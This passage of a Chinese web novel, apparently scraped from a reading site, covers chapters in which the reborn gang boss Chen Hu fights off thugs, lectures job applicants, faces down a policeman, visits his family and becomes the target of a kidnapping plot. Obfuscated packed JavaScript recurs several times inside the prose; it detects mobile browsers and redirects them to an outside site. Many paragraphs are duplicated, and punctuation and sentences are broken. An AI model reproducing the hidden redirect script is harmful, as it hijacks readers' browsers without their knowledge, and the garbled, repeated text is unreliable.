说到这里,陈虎走到窗边,凝神看着外面灯火辉煌的夜景。 “没有人能够阻止那些向上攀登的人陷入疯狂。” 陈虎的声音之中,却是带着一丝悲凉。 “毕竟,人性使然!” 这时候,陈虎转过身,认真的看着孙若薇。 “不患寡而患不均。” 陈虎的语气,这时候更加沉重。 “真正拯救夏虫的,不是带它走到冬天,而是让它永远活在夏天。” “真正拯救井底之蛙的,不是带它离开深井,而是把它拴在井底,盖上井盖,在里面装一盏灯,让它误以为那是太阳。” 陈虎的话,让孙若薇听得云里雾里的,她不明白陈虎到底想说什么。 “你到底想要什么?” 随后,孙若薇忍不住再次问道。 陈虎随即走到她的面前,眼神之中,闪烁着一种奇异的光芒。 “我?” 陈虎反问一句,然后嘴角微微上扬道:“我要做那盏灯!” 陈虎的声音,此时低沉而坚定。 “那盏不会失控的灯!” 他看着孙若薇,眼神之中,充满了自信和野心。 孙若薇看着陈虎,心中充满了疑惑和不解。 她不明白陈虎的野心,也不明白陈虎的计划。 房间里面,很快就陷入了沉默。 只有窗外传来的喧嚣声,打破了这片宁静。 孙若薇还沉浸在陈虎那番“灯”的理论中,眼神有些茫然。 陈虎此时却已经起身,然后拍了拍孙若薇的肩膀道:“走吧!饿了,去吃点东西!” 随后,陈虎带着孙若薇来到一家街边的小饭馆。 油腻的桌子,斑驳的墙壁,嘈杂的人声,充满了市井气息。 孙若薇有些不习惯,不由得微微皱了皱眉。 陈虎却毫不在意,熟练地点了五个菜。 “别 嫌弃!这家店的饭菜味道,还不错! 他笑着对孙若薇说。 热气腾腾的菜很快上桌,两人开始吃饭。 孙若薇心不在焉,还在想着陈虎的话。 突然,饭馆的门被猛地推开。 一群穿着花衬衫,流里流气的混混,这时候走了进来。 他们眼神凶狠,四处张望,目标明确。 领头的混混一眼就看到了陈虎,嘴角当即就露出了一丝狞笑。 “就是他! 对方指着陈虎,对他身后的混混们大喊道。 其他的混混们顿时一拥而上,抄起桌椅板凳,就朝着陈虎砸去。 陈虎见此,眼神顿时一冷,然后放下筷子。 就见得,他的动作快如闪电,一把就抓住了砸向他的椅子。 然后,陈虎反手一抡,将冲在最前面的一个混混,给砸倒在地。 “砰! 随着一声巨响传出,那个混混的身体就重重地摔在地上,接着发出了一声惨叫。 其他的混混们见状,并未害怕,反而更加疯狂地冲了上来。 陈虎对此,却是丝毫不惧。 他的身形灵活,在人群之中,穿梭自如。 与此同时,他的拳脚如雨点般落下,每一个被他击中的混混,当即都倒地不起。 不到五分钟,那一群十几个混混们,就全部都躺在地上,哀嚎不止。 陈虎随后拍了拍手,仿佛只是做了一件微不足道的小事一样。 而后,陈虎拿起筷子,继续吃饭。 整个饭馆,顿时鸦雀无声,所有人都惊恐地看着陈虎。 孙若薇这时候也愣住了,她没想到陈虎的身手竟然如此厉害。 这场突如其来的袭击,像一颗石子投入平静的湖面,激起了巨大的波澜。 消息迅速传遍了整个县城。 县官孙承恩被惊动,连夜赶到酒店慰问陈虎。 警察局全城搜捕,将参与袭击的混混们,以及所有与他们有联系的人,全部都抓了起来。 黑道上的人也闻风而动,将这群混混们的堂口,给砸了个稀烂。 他们甚至于围堵了警察局,并且放出狠话:哪怕没有参与,但被牵连带到局里问话的人 ,踏出一步就得挂彩。 警察局审讯之后,才得知这群混混们是一群刚出道不久的年轻人。 他们想要出头,不知天高地厚地就动了对陈虎动手的心思。 因为现在的陈虎,是马关口暗地里如今唯一的大佬。 这群年轻的混混们,为他们的冲动,付出了惨痛的代价。 而陈虎,则平静地坐在酒店房间里,看着窗外闪烁的霓虹灯。 酒店房间里,暖黄的灯光洒在柔软的地毯上。 孙若薇穿着丝质睡衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649451|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发湿漉漉的,身上散发着沐浴露的清香。 她轻轻依偎在陈虎的怀里,像一只慵懒的小猫。 “今天的事情,真的吓到我了!” 孙若薇的声音有些颤抖,手指无意识地绕着陈虎的衣角。 陈虎轻抚着孙若薇的头发,眼神里面,充满了温柔。 “一群连形势在哪儿都不知道的混混,不足为惧!” 陈虎的语气平静,却带着一股不容置疑的霸气。 “他们的愚蠢,导致了今晚的全成动荡。” “他们会为此付出惨痛的代价!” 陈虎的嘴角微微上扬,脸上露出一丝神秘的笑容道:“现在暂时的形势,是不允许我出任何事情的。” 孙若薇闻言,却是抬起头,有些疑惑地看着陈虎问道:“什么形势?” 陈虎的脸上透着自信道:“所有人都不希望我出事的形式!” “孙承恩不希望我出事。” “他需要我来稳定马关口的局面。” “而马关口给道上的人,与我是利益共同体。” “他们更不希望我出事。” “那些等着到我项目下各个部门任职的民众和职工们,也都不会希望我出事。” “因为他们需要这份工作!” 陈虎的目光,此时变得深邃,仿佛能洞穿一切。 “包括你爷爷,孙老!” “他和我有着合资项目,还有从我身上看到的更多利益。” “他更不会希望我出事。” “我们想要确保自己的安全,那只需要对形势做出判断就行。” “掌控形势,就排除了八成风险。” “剩下的一成半,只需要让其可控就好。” 孙若薇听得入神,眼神里面,充满了崇拜道:“那还有五分的风险呢?” 陈虎闻言,淡然一笑,语气里面,带着一丝玩世不恭道:“这五分风险就是运气使然了!” 说完,陈虎轻轻的拍了拍孙若薇的肩膀道:“睡吧!” 孙若薇闻言,便闭上了眼睛,安心地依偎在陈虎怀里。 她知道,只要有陈虎在,一切都会好起来。 窗外,夜色渐浓。 县城里面,暗流涌动。 但这一切,都与房间里面的两人无关。 陈虎和孙若薇两人此时沉浸在彼此的温暖之中,享受着这独属于他们两人的宁静。 而外面那些蠢蠢欲动的敌人,注定会在陈虎的掌控下,走向毁灭。 这,就是陈虎的生存法则! 第201章 救济会 阳光透过窗户,洒在包专略显局促的脸上。 他搓了搓手,看着陆续走进来的应聘者,心中有些忐忑。 这些人,都是县城里面最普通的百姓,渴望一份稳定的工作。 而他包专,曾经的混混头子,如今却成了他们眼中的“领导”。 陈虎一身简单的中山装,步履沉稳地走进了房间。 他环视一周,眼神锐利而深邃,仿佛能看穿每个人的内心。 包专连忙迎上去,点头哈腰地说道:“虎哥,人都到齐了!” 陈虎闻言,微微点头,然后径直走到众人的面前。 站定之后,陈虎的目光扫过了眼前一张张充满期盼的脸,接着缓缓开口。 “大家好,我是陈虎!” 他的声音低沉而有力,带着一股不容置疑的威严。 “今天,你们来到这里,是为了一个共同的目标——工作!” “我知道,你们很多人都是为了养家糊口,为了过上更好的生活。” “而我,也想为这个县城,为这里的人民,做点实事。” 顿了顿,陈虎的语气变得更加坚定。 “我的企业,不仅仅是为了赚钱,更是为了造福社会,为你们谋福利!” 他的话语掷地有声,在房间里面回荡。 应聘者们闻言,纷纷点头,眼神之中,充满了期待。 “我承诺,只要你们肯努力,肯付出,我就会给你们提供最好的待遇,最广阔的发展空间!” 陈虎的声音充满了激情,仿佛能点燃人们心中的希望。 “我们企业的核心价值观,就是‘诚信、责任、创新、共赢’!” “诚信,是我们做人做事的根本。” “责任,是我们对社会,对家庭,对自己的承诺。” “创新,是我们不断进步,不断发展的动力。” “共赢,是我们与员工,与合作伙伴,与社会共同进步的目标!” 陈虎的每一句话,都深深地印在了应聘者们的脑海里面。 他们感受到了陈虎的真诚,感受到了他的决心。 “我知道,在座的各位,来自不同的背景,有着不同的经历。” “但在这里,我们都是平等 的都是为了同一个目标而奋斗!” “我希望我们能够团结一心共同努力创造一个更加美好的未来!” 陈虎的演讲慷慨激昂充满了感染力。 应聘者们听得热血沸腾纷纷鼓掌叫好。 包专站在一旁看着陈虎的演讲心中充满了敬佩。 他完全没有想到 “我知道创业初期会遇到很多困难会面临很多挑战。” “但我不怕我相信只要我们坚持不懈就一定能够克服所有困难取得最终的胜利!” 陈虎的目光坚定而自信仿佛能照亮前方的道路。 “我坚信只要我们秉持着‘为社会造福为职工谋福利’的理念就一定能够打造一个百年企业一个受人尊敬的企业!” 陈虎的演讲持续了一个多小时他用真诚的话语感动了在场的所有人。 应聘者们纷纷表示愿意跟随陈虎为企业的发展贡献自己的力量。 包专看着眼前的这一幕心中充满了感慨。 他知道陈虎的企业一定会成为县城里的一颗璀璨明珠。 而他包专也将会跟随陈虎走向更加辉煌的未来。 陈虎演讲完毕走下台来到包专的身边然后拍了拍包专的肩膀。 “好好干!我看好你!” 包专闻言十分激动地点了点头眼中闪烁着泪光。 他知道他的人生将会因为跟从陈虎而改变。 窗外阳光明媚照亮了整个县城。 一个新的时代正在悄然来临。 午后的阳光透过县政府办公室的百叶窗洒在红木办公桌上留下斑驳的光影。 孙承恩呷了一口茶眼神意味深长地打量着对面的陈虎。 “陈虎啊你的项目现在搞得红红火火我很欣慰啊!” 陈虎闻言谦逊地笑了笑道:“都是托您的福县里大力支持我们才能这么顺利!” “嗯……互惠互利嘛!”孙承恩放下茶杯十指交叉放在桌上语气变得有些意味深长道:“不过有时候这父母要是吃不饱孩子自然也跟着饿肚子啊!” 陈虎听到这话后脸色不变的看着孙承恩< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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权力和金钱的交易在阳光下显得格外刺眼! 第202章 大丈夫能屈能伸 翌日清晨,薄雾笼罩着县城。 空气之中,弥漫着淡淡的泥土气息。 陈虎此时正在院子里面,打着军体拳。 他的动作虎虎生风,一套拳打完之后,他的额头上都渗出一层细密的汗珠。 突然,“咚咚咚”的三声敲门声,打破了清晨的宁静。 陈虎停下动作,擦了擦汗,走到门口,打开了门。 随即,便见一个穿着笔挺的警察制服的青年站在门外,他的神情严肃,腰间别着手枪,显得格外醒目。 “陈虎先生?”青年警察的语气冷淡,却带着一丝质问的意味。 “是我!不知你是?”陈虎不动声色地打量着来人。 “我是县警察局的,我姓赵。”青年警察亮出证件道:“有些事情,需要你配合调查。” 陈虎闻言,当即微微一笑道:“请进!” 两人走进屋内,赵警官环视了一圈简陋的房间,眼神之中,闪过了一丝轻蔑。 “陈虎先生,我们接到举报,说你控制了马关口的地下世界,暗中支持着许多踩线的灰产,甚至于……”赵警官顿了顿,语气加重道:“涉嫌杀人!” 陈虎依旧保持着平静,淡淡地说道:“赵警官,证据呢?” “你二叔一家死因不明,你敢说和你没关系?”赵警官咄咄逼人。 陈虎闻言,眼神一凛,随即又恢复了平静道:“赵警官,凡事都要讲证据,没有证据,你这就是在诽谤。” “哼!你以为你做的那些事情能瞒天过海吗?”赵警官随即冷笑一声道:“你以为你控制了马关口,就能够一手遮天吗?” “赵警官,我随时欢迎你去查。”陈虎语气平淡,却带着不容置疑的坚定。 看到这一幕,赵警官当即就被陈虎的淡定激怒了道:“你就是个资本家,吸血鬼!” 陈虎闻言,直接就笑了道:“赵警官,我的项目落地后,会带来大量的就业岗位和税收,这难道不是对县里的发展做贡献吗?” “少在这里冠冕堂皇!”赵警官随即怒斥道:“你赚的都是黑心钱!” “马关口以前是什么样子,你应该比我清楚。”陈虎语气平静的说道:“自从我来了之后,地下世界不再发生无秩序的动乱,少了多 少流血事件,难道你心里面没数吗? 赵警官闻言,一时语塞。 陈虎随后继续说道:“而且,只要出事,就会有犯罪者‘自首’,主动提交证据,把业绩送给警察局,这有什么问题吗? 听到陈虎这话,赵警官当即愣住了,他没有想到陈虎会如此直白地说出这些话来。 陈虎看着赵警官,眼神之中,带着一丝嘲讽道:“赵警官,你所谓的正义,难道就是不顾事实,随意给人扣帽子吗? 赵警官闻言,脸色涨红,却又无言以对。 他不由得深吸一口气,努力让他自己平静下来道:“陈虎,你别得意,我一定会查清楚你的底细的! 陈虎闻言,直接轻笑一声,然后毫不在意地挥了挥手。 “尽管去查! 与此同时,陈虎眼神锐利地直视着赵警官涨红的脸。 “赵警官,你查我的档案,能看到里面的‘疑点’。 “所以,你来找我。 “但你却看不到,我公司门口,那些排队应聘的工人,他们有多渴望这份高薪工作,好养家糊口。 陈虎顿了顿,语气之中,带着一丝嘲讽。 “你也看不到,等我的工厂一旦落地,能解决多少人的就业问题,能为县里面带来多少税收。 说到这里,陈虎走到窗边,看着外面薄雾笼罩的县城。 “你更看不到,马关口的街头,还有多少乞丐和流浪者,他们挣扎在生存的边缘。 这时候,陈虎转过身,眼神凌厉地盯着赵警官。 “你拿着你所谓的‘正义’的大棒,四处挥舞,却对这些民生疾苦,视而不见。 陈虎语气加重,一字一句地质问赵警官。 “你不觉得可笑吗? 赵警官直接就被陈虎的话噎住了,脸色一阵青,一阵白的。 他张了张嘴,想要反驳,却发现他竟然无言以对。 陈虎随后走到桌边,倒了一杯水,递给赵警官。 “喝口水,冷静一下。 不过,赵警官却没有接,只是狠狠地瞪着陈虎。 “你以为你做的那些事情真的天衣无缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661010|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?赵警官随后咬牙切齿地说道:“总有一天,我会把你绳之以 法!” 陈虎闻言却是笑了笑对此不置可否。 “我等着!” 他语气平静却带着一股不容置疑的坚定与无所畏惧。 赵警官闻言深了吸一口气转身便向房门走去。 不过赵警官走到门口突然停了下来却没有回头然后冷声警告陈虎。 “我会盯着你的!” 随后赵警官重重地摔门而去。 陈虎看着赵警官的背影却是冷不丁补了一句道:“正义从来不是为了审判谁而是为了维护弱小群体的利益与人权。” “这一切我都在做。” “而你……”陈虎嗤笑一声道:“不过是个自恃正义却打算断人生路的二货。” 被骂的赵警官猛地顿住脚步顿时怒火中烧。 他随即转身大步流星地冲回陈虎的面前拳头紧握。 “你再说一遍!” 赵警官怒吼挥拳便向陈虎打去。 陈虎轻巧地侧身躲过反手一抓便将赵警官的手腕给牢牢地控制住。 随后陈虎微微用力赵警官便疼得龇牙咧嘴。 见状陈虎不由得叹了口气像看着一个不懂事的孩子一样。 “我可以维护自己心中那可笑的正义。” “可我的手里有你攻击公民的证据。” 陈虎此时语气冰冷眼神锐利如刀。 “只要我愿意随时都能够让你脱掉这身制服。” 赵警官闻言脸色瞬间变得煞白额头上面也跟着渗出了冷汗。 他挣扎着想要挣脱陈虎的钳制却发现他根本无济于事。 后悔和愤懑的情绪顿时交织在一起让他几乎喘不过气。 但他骨子里面的那股倔强让他始终不肯低头道歉。 僵持片刻陈虎突然松开了手。 “这样吧你现在给我打一巴掌再向我道歉!” “你答应的话那我就不请律师了 赵警官闻言直接就愣住了他没有想到陈虎竟然会提出这样的要求。 他咬了咬牙最终还是答应了。 大丈夫能屈能伸……更何况他此时确实理亏! 第203章 虎子,你真是越来越有出息了! 陈虎看着赵警官一脸纠结的表情,嘴角不由得勾起了一抹玩味的笑意。 随后,陈虎缓缓地抬起了右手,高高举起。 赵警官紧闭双眼,等待着那预想中的疼痛。 然而,预想中的巴掌,却并没有落下。 陈虎的手掌停在了半空之中,迟迟都没有落下。 突然,陈虎放声大笑,笑得前仰后合。 “哈哈哈……我一个平民,可不敢打执法人员啊!” 陈虎一脸戏谑地看着赵警官,眼神之中,充满了嘲讽。 “滚吧!” 随后,陈虎对赵警官挥了挥手,像赶苍蝇一样。 赵警官的脸色,顿时一阵青,一阵白的,完全羞愤难当。 他随后狠狠地瞪了陈虎一眼,转身便落荒而逃。 陈虎看着赵警官狼狈的背影,嘴角的笑意却是更浓了。 随后,他走到窗边,看着外面逐渐散去的薄雾,心中一片清明。 这场闹剧,不过是他人生中一个小小的插曲罢了。 他还有更重要的事情要做。 县城的事情大多数已经解决,陈虎也没多待。 晚间,陈虎独自驱车,一路颠簸,总算回到了上河村。 车轮卷起的尘土,在村口弥漫开来。 孩子们嬉笑着追逐着这辆少见的“铁疙瘩”。 陈虎在家门口不远处停下车后,便从后备箱里面,拿出大包小包的东西。 “虎子回来了!” 一个洪亮的声音响起。 陈虎抬头,看见母亲杨蓉正快步走来,脸上满是笑容。 “妈!” 陈虎笑着迎上去。 “你这孩子,出去一趟也没个消息,一出去就是好几天,真是担心死我了!” 杨蓉的嘴上虽然责怪着,手上却不停地接过陈虎手里的东西。 “这不是忙嘛!这不,我一回来就给你们带礼物了。” 陈虎说完,嘿嘿一笑。 进了院子,陈真和陈瑶这两个小家伙们,便立刻围了上来。 “哥,你给我们带什么好东西啦?” 小囡囡眼巴巴地望着陈虎手里的袋子。 陈虎拿出两套新衣服,递给两人。 “一人一套,看看喜不喜欢。 “哇!新衣服! 小囡囡高兴地跳了起来,迫不及待地换上了新衣服。 陈真也腼腆地笑了笑,随后接过衣服。 陈虎之后又拿出一个精致的盒子,递给陆无双。 “陆老师,这是给你的! 陆无双闻言,脸颊微微泛红,低着头接过盒子。 “谢谢虎哥! 她打开盒子,里面是一条银项链,吊坠是一颗小小的玉蝴蝶。 顿时,陆无双的眼睛就亮了起来。 这条项链比她以往见过的任何饰品,都要漂亮。 她轻轻抚摸着玉蝴蝶,心中不由得涌起一股暖流。 “真好看! 杨蓉看着陆无双脖子上的项链,也是忍不住赞叹。 “虎子,你真是越来越有心了! 陈虎闻言,笑了笑,随后又拿出两件新衣裳和一些首饰递给了母亲。 “妈,这些是给你的! 杨蓉看着新衣裳和首饰,眼眶不禁有些湿润。 “你这孩子,乱花钱!妈都这么大年纪了,还穿什么新衣服戴什么首饰啊? 虽然嘴上是这么说,但杨蓉的手上却宝贝地抚摸着衣裳的料子。 “妈,您还年轻着呢!您打扮得漂漂亮亮的,那走出去得多有面子啊! 陈虎看着杨蓉,笑着说道。 小囡囡穿着新衣服,在院子里面转来转去。 “哥,我今天在学校学到了好多东西呢! 她随后跑到了陈虎的面前,叽叽喳喳地说个不停。 “老师教我们唱了一首新歌,我还得了小红花呢! 陈真也走过来,拿出自己的作业本。 “哥,你看,我的作业全对! 他的脸上,带着一丝骄傲。 陈虎翻看着陈真的作业本,随即笑着点了点头。 “不错!继续努力! 看着弟弟妹妹天真烂漫的笑脸,陈虎的心中,不由得充满了温暖。 这才是他想要守护的一切。 夕阳西下,金色的阳光洒满院子。 一家人围坐在桌旁,吃着简单的饭菜,却充满了温馨和快乐 。 陈虎看着眼前的一切心中却是无比的平静和满足。 只怕相依为命也不过如此。 家庭的重要性对于陈虎而言很特殊。 前世他早早失去了家人所以在世界上在人类社会中他没有一个属于他自己的锚定点找不到他自己的位置。 他知道那种情况会让人发疯的! 所以重生一世陈虎对于家人的感情十分特殊。 之后陈虎连续在家赋闲了两日。 至于县城里的事情陈虎全部都扔给了孙若薇、成小天和包专去办。 他自己则乐得清闲每日里就是带着陈真和小囡囡在村子里疯跑。 有时候陈虎会教陈真练几招简单的拳脚功夫。 有时候陈虎又陪着小囡囡过家家扮演凶恶的大灰狼。 两个小家伙被陈虎逗得咯咯直笑。 陈虎也跟着乐呵仿佛回到了无忧无虑的童年。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆无双一边说着一边把西瓜递给陈虎和小囡囡。 “谢谢陆老师!”小囡囡甜甜地道谢然后就拿起一块西瓜啃了起来。 陈虎随后也接了一块西瓜张嘴咬了一口顿时清凉甘甜的西瓜汁水瞬间就充满了口腔。 第204章 我要做的,才刚开始! 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 这两天内,陆无双几乎寸步不离地跟着陈虎。 她也不再像以前那样,刻意掩饰她对陈虎的感情。 并且,她陪着陈虎聊天解闷的时候,笑容也比以往多了很多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673402|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 红拂女静静地听着陈虎的话,眼神之中,充满了震惊和不解。 她从未想过,一个男人竟然会对爱情如此的轻蔑。 “说到底,爱情的机理不过是激素作祟,生理需求,繁衍需要,人作为社会属性动物的心理慰藉需求。” 第206章 劫持陈虎 夜幕降临,上河村笼罩在一片寂静之中。 昏暗的灯光闪烁着,照亮了潮湿的石壁。 水滴顺着石壁缓缓滑落,在地面上,汇聚成了一小滩积水。 空气之中,弥漫着霉味和汗臭,令人作呕。 这就是九头蛇组织残余势力的秘密基地,一个隐藏在深山老林中的废弃矿洞。 红拂女坐在一张简陋的木桌前,脸色阴沉。 桌子上面,正摆放着一张残破的地图,上面标注着几个红点,那是他们仅剩的几个据点。 三个九头蛇组织的分队长围坐在桌子旁,一个个面黄肌瘦,眼神之中,充满了焦虑和绝望。 “军方的清剿力度,越来越大,我们藏身的好多据点都已经被发现了。”一个脸上带着刀疤的分队长低声说道。 “是啊!我们现在就像瓮中之鳖,迟早会被他们一网打尽的。”另一个身材矮小的分队长跟着附和道。 “司家也完了,我们失去了重要的资金来源。”一个高个子分队长随后补充道。 “还有,那个陈虎……”刀疤脸犹豫了一下,最终还是说了出来道:“他最近的动作越来越频繁了,我担心他会对我们不利。” 红拂女闻言,不由得深深地叹了口气。 “我知道!我都知道!” 不由得,红拂女揉了揉太阳穴,感觉一阵头疼。 “现在我们和境外的分部联系不上,得不到任何增援。” “继续躲在这里,只有死路一条。” 说到这里,红拂女抬起头,眼神之中,闪过了一丝决绝。 “我们必须想办法突围!” “红拂,我们现在被包围了,要怎么突围?”矮个子分队长随后问道。 闻言,红拂女指着地图上的一个红圈。 “这里,边境线!” “我们要想办法突破边境,逃到国外去。” “可是边境现在戒备森严,我们根本过不去啊!”高个子分队长说道。 红拂女闻言,当即冷笑一声。 “事在人为!” “我有一个计划,分三步走。” 随即,红拂女就竖起了一根手指。 “第一,派人联系境外总部,请求增援。” 接着红拂女又竖起了第二根手指。 “第二制造混乱吸引军方的注意力趁机突破边境。” 最后红拂女竖起了第三根手指。 “第三劫持重要人物作为我们谈判的筹码。” “重要人物?谁?”刀疤脸闻言不由得问道。 红拂女的眼中随即闪过了一丝寒光。 “比如孙老县长孙承恩或者……” 顿了顿红拂女一字一顿地说道。 “陈虎!” 三个分队长闻言都不由得倒吸了一口凉气。 这三个人随便一个都是县里举足轻重的人物。 如果能劫持他们确实可以作为谈判的筹码。 但是这其中的风险也是巨大的。 “红拂这太危险了!”矮个子分队长惊呼道。 “我知道危险但是我们现在没有别的选择。”红拂女语气坚定道。 “只有这样我们才有一线生机。” 红拂女环视众人眼神之中充满了威严。 “都听明白了吗?” “红拂这第三步劫持人质风险太大了。”刀疤脸搓着下巴上的疤痕语气担忧。 “是啊!万一失手 红拂女闻言直接冷哼一声。 “富贵险中求不冒险我们现在就等死吧!” 说话时候红拂女故意用手指敲击着桌面发出清脆的响声。 “孙承恩和陈虎这两个人我们必须抓住一个。” “孙承恩是县长官面上的人脉广可以用来和政府谈判。” “陈虎虽然不是政府官员但他控制着上河村手里也有不少人而且他和孙承恩关系密切同样可以作为筹码。” “那我们到底劫持谁?”高个子分队长随后问道。 红拂女闻言眯起眼睛故意装出思索的样子随后说出了她早就想好的答案。 “陈虎!” “为什么是陈虎?孙承恩不是更好控制吗?”刀疤脸有些不解地问道。 “孙承恩住在县城身边肯定有不少保护他的人咱们不好下手。” 红拂女解释道。 “陈虎虽然也有一些手下但相对来说更容易控制。” “而且陈虎的女友是孙家的孙若薇如果我们抓了他的家人或者朋友孙家也会出面他肯定会投鼠忌器。” “红拂这主意不错!”矮个子分队长闻言眼睛不由得一亮道:“就这么办!” “那具体应该怎么操作?”高个子分队长随后问道。 红拂女在地图上指了指上河村的位置道:“上河村的地形我已经派人侦察过了。” “我们派出三个分队深夜潜入重火力推平阻碍就算他陈虎三头六臂但碍于亲朋也不敢反抗。” “深夜行动动静太大万一惊动了县城的警察怎么办?”刀疤脸依旧忧心忡忡手指不停地摩擦着下巴上的疤痕仿佛那里痒得厉害。 “怕什么?我们速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673399|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战速决抓了人就走等他们反应过来我们早就跑远了。”矮个子分队长满不在乎地摆了摆手语气里面带着一丝轻蔑。 红拂女闻言冷冷地瞥了矮个子分队长一眼。 “你以为陈虎是吃素的?忘了之前几个分队是怎么折在他手里?真要动起手来你们几个都不是他的对手。” 矮个子分队长闻言不由得缩了缩脖子不敢再吭声了。 “所以我们要尽量避免正面冲突。”红拂女说到这里就在地图上画了个圈语气变得严肃起来。 “我们先派人摸清陈虎家的情况并且先一步控制他家人然后趁他身旁没有那些道上的马仔时就直接把他拿下。” “记住行动一定要快不能给他反应的机会!”红拂女说到最后语气十分认真。 “是!” 那三个分队长对于红拂女的行动方案没有异议当即齐声答应然后一起离开去和他们的手下安排行动任务去了。 红拂女看着三人离去的背影心中这才松了一口气她总算是按照她的想法完成了让九头蛇组织成员对付陈虎的目的了。 作为特情红拂女自然是希望在不暴露她的情况下做她应该做的事情。 陈虎现在已经是马关口地下世界的风云人物了他的手段又高整个也很恐怖这样的人如果是正经人 让九头蛇组织的人对陈虎动手的。 偏偏 思来想去红拂女最终决定以暴制暴用九头蛇组织的人去对付陈虎最好能够抹除陈虎这个巨大的地下世界的威胁。 次日清晨。 陈虎起床洗漱后就扒拉着碗里的玉米粥几口就将粥喝了个底朝天。 “哥你今天怎么起得这么早?” 陈瑶揉着惺忪的睡眼走到桌边十分乖巧的坐下。 “有点事要办!” 陈虎说完就放下碗筷拿起搭在椅背上的外套。 清晨的阳光透过窗户洒进屋内照在陈虎棱角分明的脸上。 陈虎的眼中随后闪过一丝不易察觉的冷峻。 